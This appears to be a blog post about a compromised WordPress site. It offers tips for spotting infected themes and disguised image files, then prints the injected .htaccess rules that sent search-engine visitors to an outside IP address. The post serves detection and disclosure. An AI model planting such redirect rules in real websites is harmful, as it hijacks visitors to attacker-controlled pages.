When you reinstalled wordpress did you delete your old wp-content? If not you need to make sure your themes were not infected. Check the first few lines of all the PHP files to see if there is any code checking for cryptic looking COOKIE names.

Also search your wp-content directory for image files with names that end in an extra letter: e.g. giff or jpgg or pngg.

mine was hosted with Blue Host

Thanks to some suggestions from Scot Colford and Mike Cunningham, I checked the .htaccess file in my Wordpress directory, and here is what I found:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]


I suppose that’s a lesson in “you get what you pay for” when it comes to web hosting. I pulled blyberg.net off that company’s servers on Friday and it’s now hosted a little closer to home on our very own Darien Library community sites server.

*sheesh* (Oh, and sorry Google, keep dominating, buddy!)